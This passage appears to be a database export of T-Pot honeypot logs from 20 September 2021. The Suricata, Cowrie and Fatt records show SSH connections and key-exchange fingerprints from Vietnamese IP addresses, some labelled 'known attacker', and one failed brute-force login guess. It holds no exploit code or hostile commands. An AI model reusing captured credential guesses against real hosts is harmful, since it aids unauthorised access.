24310	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:08:41.99834+03	2021-09-20 14:15:08.618502+03	{"_id": "6QbkAnwBvYTbRNuEzhL4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 40552740923478, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56438, "dest_port": 22, "timestamp": "2021-09-20T11:08:41.998340Z", "@timestamp": "2021-09-20T11:08:41.998Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
37385	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:21:56.135401+03	2021-09-20 15:30:03.607882+03	{"_id": "JAYnA3wBvYTbRNuE22n8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:21:56.135401Z", "@timestamp": "2021-09-20T12:21:56.135Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
24311	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:42.001149+03	2021-09-20 14:15:08.6205+03	{"_id": "6gbkAnwBvYTbRNuEzxLm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56438, "timestamp": "2021-09-20T11:08:42.001149", "@timestamp": "2021-09-20T11:08:42.001Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24312	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:41.574625+03	2021-09-20 14:15:08.6215+03	{"_id": "7QbkAnwBvYTbRNuE0BJb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [user1/123456110] failed", "session": "690bb208186d", "@version": "1", "password": "123456110", "username": "user1", "timestamp": "2021-09-20T11:08:41.574625Z", "@timestamp": "2021-09-20T11:08:41.574Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24313	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:41.914473+03	2021-09-20 14:15:08.6225+03	{"_id": "8AbkAnwBvYTbRNuE0BJc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5e14029ee594", "@version": "1", "timestamp": "2021-09-20T11:08:41.914473Z", "@timestamp": "2021-09-20T11:08:41.914Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24314	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:42.015322+03	2021-09-20 14:15:08.62447+03	{"_id": "8QbkAnwBvYTbRNuE0BJc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "235b59fbd42d", "@version": "1", "timestamp": "2021-09-20T11:08:42.015322Z", "@timestamp": "2021-09-20T11:08:42.015Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24335	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:46.427646+03	2021-09-20 14:15:08.651507+03	{"_id": "jwbkAnwBvYTbRNuE5BMc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "47f9d15d9dcb", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:46.427646Z", "@timestamp": "2021-09-20T11:08:46.427Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24315	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:43.133025+03	2021-09-20 14:15:08.625498+03	{"_id": "8gbkAnwBvYTbRNuE0xLP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50638, "timestamp": "2021-09-20T11:08:43.133025", "@timestamp": "2021-09-20T11:08:43.133Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24316	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:43.250247+03	2021-09-20 14:15:08.6265+03	{"_id": "JgbkAnwBvYTbRNuE1hPJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 762395009651677, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 38564, "dest_port": 22, "timestamp": "2021-09-20T11:08:43.250247Z", "@timestamp": "2021-09-20T11:08:43.250Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24317	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:08:43.405115+03	2021-09-20 14:15:08.627471+03	{"_id": "KQbkAnwBvYTbRNuE1hPK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 2050694072369728, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50638, "dest_port": 22, "timestamp": "2021-09-20T11:08:43.405115Z", "@timestamp": "2021-09-20T11:08:43.405Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24318	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:43.288349+03	2021-09-20 14:15:08.6285+03	{"_id": "IwbkAnwBvYTbRNuE1hPJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2076358649455671, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 53400, "dest_port": 22, "timestamp": "2021-09-20T11:08:43.288349Z", "@timestamp": "2021-09-20T11:08:43.288Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24319	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:08:43.309722+03	2021-09-20 14:15:08.6305+03	{"_id": "LAbkAnwBvYTbRNuE1xO5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 37140, "dest_port": 22, "timestamp": "2021-09-20T11:08:43.309722", "@timestamp": "2021-09-20T11:08:43.309Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24320	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:08:43.315128+03	2021-09-20 14:15:08.6315+03	{"_id": "LgbkAnwBvYTbRNuE1xO5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": 